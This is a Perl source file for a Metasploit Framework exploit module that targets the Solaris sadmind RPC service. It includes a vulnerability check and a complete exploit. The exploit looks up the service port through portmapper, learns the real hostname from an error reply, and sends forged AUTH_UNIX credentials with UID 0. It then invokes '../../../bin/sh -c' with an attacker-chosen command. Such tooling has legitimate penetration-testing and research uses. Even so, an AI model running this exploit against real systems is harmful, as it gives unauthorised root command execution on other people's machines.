
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::solaris_sadmind_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = {};

my $info = {
    'Name'    => 'Solaris sadmind Command Execution',
    'Version'  => '$Revision: 1.38 $',
    'Authors'  => ['H D Moore <hdm [at] metasploit.com>',
                  'Brian Caswell <bmc [at] snort.org>'],
    'Arch'    => [],
    'OS'      => ['solaris'],
    'Priv'    => 1,
    'Payload' => {
        'Space'    => 512,
        'BadChars' => "\x00",
        'Keys'      => ['cmd'],        
    },

    'UserOpts' => {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'PPORT' => [0, 'PORT', 'The rpc portmapper port', 111],
        'SPORT' => [0, 'PORT', 'The sadmind target port'],
    },

    'Description' => Pex::Text::Freeform(qq{
        This exploit targets a weakness in the default security
        settings of the sadmind RPC application. This server is
        installed and enabled by default on most versions of the
        Solaris operating system.    
    }),
    'Refs' =>
        [
            ['OSVDB', 4585],
            ['URL',   'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
        ],
    'DefaultTarget' => 0,
    'Targets' => [["No Target Needed"]],
    'Keys'  => ['sadmind'],    
};

sub new {
    my $class = shift;
    my $self  =
      $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return ($self);
}

sub Check {
    my $self        = shift;
    my $target_host = $self->GetVar('RHOST');
    my $portmap     = $self->GetVar('PPORT') || 111;
    my $target_port = $self->GetVar('SPORT')
      || rpc_getport($target_host, $portmap, 100232, 10);

    if (!$target_port) {
        $self->PrintLine("[*] Error: Could not determine port used by sadmind");
        return $self->CheckCode('Generic');
    }

    # Use an invalid hostname to obtain the real hostname
    my $target_name = "METASPLOIT";
    my $s = Msf::Socket::Udp->new
    (
        'PeerAddr'  => $target_host, 
        'PeerPort'  => $target_port, 
        'LocalPort' => $self->GetVar('CPORT'),
    );

    if ($s->IsError) {
      $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
      return $self->CheckCode('Connect');
    }
    

    $s->Send(rpc_sadmin_exec($target_name, "true"));
    my $r = $s->Recv(-1, 5);

    if ($r && $r =~ m/Security exception on host (.*)\.  USER/) {
        $target_name = $1;
    } else {
        $self->PrintLine("[*] Could not obtain target hostname");
        return $self->CheckCode('Generic');
    }

    $self->PrintLine("[*] Testing sadmind service on '$target_name'");
    $s->Send(rpc_sadmin_exec($target_name, "true"));
    $r = $s->Recv(-1, 5);
    $s->Close();

    if ($r) {
        if ($r =~ m/Security exception on host (.*)\.  USER/) {
            $self->PrintLine("[*] The server reports access denied for sadmind");
            return $self->CheckCode('Safe');
        } else {
            $self->PrintLine("[*] The server appears to be vulnerable");
            return $self->CheckCode('Confirmed');
        }
    }

    $self->PrintLine("[*] No response received from server");
    return $self->CheckCode('Generic');
}

sub Exploit {
    my $self        = shift;
    my $target_host = $self->GetVar('RHOST');
    my $portmap     = $self->GetVar('PPORT') || 111;
    my $target_port = $self->GetVar('SPORT')
      || rpc_getport($target_host, $portmap, 100232, 10);

    my $encodedPayload = $self->GetVar('EncodedPayload');

    if (!$target_port) {
        $self->PrintLine("[*] Error: Could not determine port used by sadmind");
        return;
    }

    $self->PrintLine("[*] Trying to obtain hostname of $target_host:$target_port");

    # Use an invalid hostname to obtain the real hostname
    my $target_name = "METASPLOIT";
    my $s = Msf::Socket::Udp->new
    (
        'PeerAddr'  => $target_host, 
        'PeerPort'  => $target_port, 
        'LocalPort' => $self->GetVar('CPORT'),
    );
    
    if ($s->IsError) {
      $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
      return;
    }
    
    $s->Send(rpc_sadmin_exec($target_name, "true"));

    my $r = $s->Recv(-1, 5);
    $s->Close();

    if ($r && $r =~ m/Security exception on host (.*)\.  USER/) {
        $target_name = $1;
    } else {
        $self->PrintLine("[*] Could not obtain target hostname");
        return;
    }

    $self->PrintLine("[*] Using hostname of '$target_name'");

    $s = Msf::Socket::Udp->new
    (
        'PeerAddr'  => $target_host, 
        'PeerPort'  => $target_port, 
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
    );
    if ($s->IsError) {
      $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
      return;
    }
    
    $self->PrintLine("[*] Executing command " . $encodedPayload->RawPayload);

    $s->Send(rpc_sadmin_exec($target_name, $encodedPayload->RawPayload));
    sleep(3);
    return;
}

sub rpc_getport {
    my ($target_host, $target_port, $prog, $vers) = @_;

    my $s = Msf::Socket::Udp->new
    (
        'PeerAddr'  => $target_host, 
        'PeerPort'  => $target_port, 
    );
    
    if ($s->IsError) {
      return;
    }
    

    my $portmap_req =

      pack(
        "N*", rand() * 0xffffffff,    # XID
        0,                            # CALL
        2,                            # RPC VERSION
        100000,                       # Program Number  (PORTMAP)
        2,                            # Program Version (2)
        3,                            # procedure (getport)
        0,                            # cred length
        0,                            # cred data
        0,                            # verification length
        0,                            # verification data
        $prog,                        # program we are requesting...
        $vers,                        # version we are looking for
        17,                           # protocol (udp)
        0                             # port (0)
    );

    $s->Send($portmap_req);

    my $r = $s->Recv(-1, 5);
    $s->Close();

    if (length($r) >= 28) {
        my $prog_port = unpack("N", substr($r, 24, 4));
        return ($prog_port);
    }

    return undef;
}

sub rpc_sadmin_exec {
    my ($hostname, $command) = @_;

    my $rpc = pack(
        "NNNNNNN",
        rand() * 0xffffffff,    # XID
        0,                      # call
        2,                      # RPC Version
        100232,                 # Program Number  (SADMIND)
        10,                     # Program Version (10)
        1,                      # Procedure
        1,                      # Credentials (UNIX)
    );

    my $rpc_auth =

      # Time Stamp
      pack("N", time() + 20001) . encode_string($hostname) .

      # UID = 0, GID = 0, No Extra Groups  
      pack("NNN", 0, 0, 0);

    $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . pack("NN", 0, 0);

    my $header = reverse(pack("V", time() + 20005))
      . "\x00\x07\x45\xdf\x00\x00\x00\x00\x00\x00\x00\x00"
      . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      . "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00"
      . "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00"
      . "\x00\x00\x00\x04"
      . pack("N*", pack_ip("127.0.0.1"), 100232)
      . "\x00\x00\x00\x0a\x00\x00\x00\x04"
      . pack("N*", pack_ip("127.0.0.1"), 100232)
      . "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e"
      . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      . "\x00\x00\x00\x00"
      . encode_string($hostname)
      . encode_string("system")
      . encode_string("../../../bin/sh");  

    my $body = encode_string("ADM_FW_VERSION")
      . "\x00\x00\x00\x03"
      . "\x00\x00\x00\x04"
      . "\x00\x00\x00\x01"
      . "\x00\x00\x00\x00"
      . "\x00\x00\x00\x00"
      . encode_object("ADM_LANG", "C")
      . encode_object("ADM_REQUESTID",     "0810:1010101010:1")
      . encode_object("ADM_CLASS",         "system")
      . encode_object("ADM_CLASS_VERS",    "2.1")
      . encode_object("ADM_METHOD",        "../../../bin/sh")
      . encode_object("ADM_HOST",          $hostname)
      . encode_object("ADM_CLIENT_HOST",   $hostname)
      . encode_object("ADM_CLIENT_DOMAIN", "")
      . encode_object("ADM_TIMEOUT_PARMS", "TTL=0 PTO=20 PCNT=2 PDLY=30")
      . encode_object("ADM_FENCE")
      . encode_object("X", "-c")
      . encode_object("Y", $command)
      . encode_string("netmgt_endofargs");

    my $res =
      $rpc . $header
      . pack("N", (length($body) + 4 + length($header)) - 330) . $body;

    return ($res);
}

sub encode_string {
    my ($string) = @_;
    my $len = length($string);
    $string .= chr(hex(0)) x (4 - ($len % 4)) if ($len % 4);
    return (pack("N", $len) . $string);
}

sub weird_encode_string {
    my ($string) = @_;
    my $len = length($string);
    $string .= chr(hex(0)) x (4 - ($len % 4)) if ($len % 4);
    return (pack("N*", $len + 1, $len) . $string);
}

sub encode_object {
    my ($name, $value) = @_;
    if (defined($value)) {
        if (length($value) == 0) {
            return encode_string($name) . pack("N*", 9, 1, 0, 0, 0);
        } else {
            return encode_string($name)
              . pack("N", 9)
              . weird_encode_string($value)
              . pack("NN", 0, 0);
        }
    } else {
        return encode_string($name) . pack("N*", 9, 0, 0, 0);
    }
}

sub pack_ip {
    my ($ddip) = @_;
    my @bytelist = split /\./, $ddip;
    my $packedip =
      $bytelist[3] + ($bytelist[2] * 256) + ($bytelist[1] * 65536) +
      ($bytelist[0] * 16777216);
    return ($packedip);
}


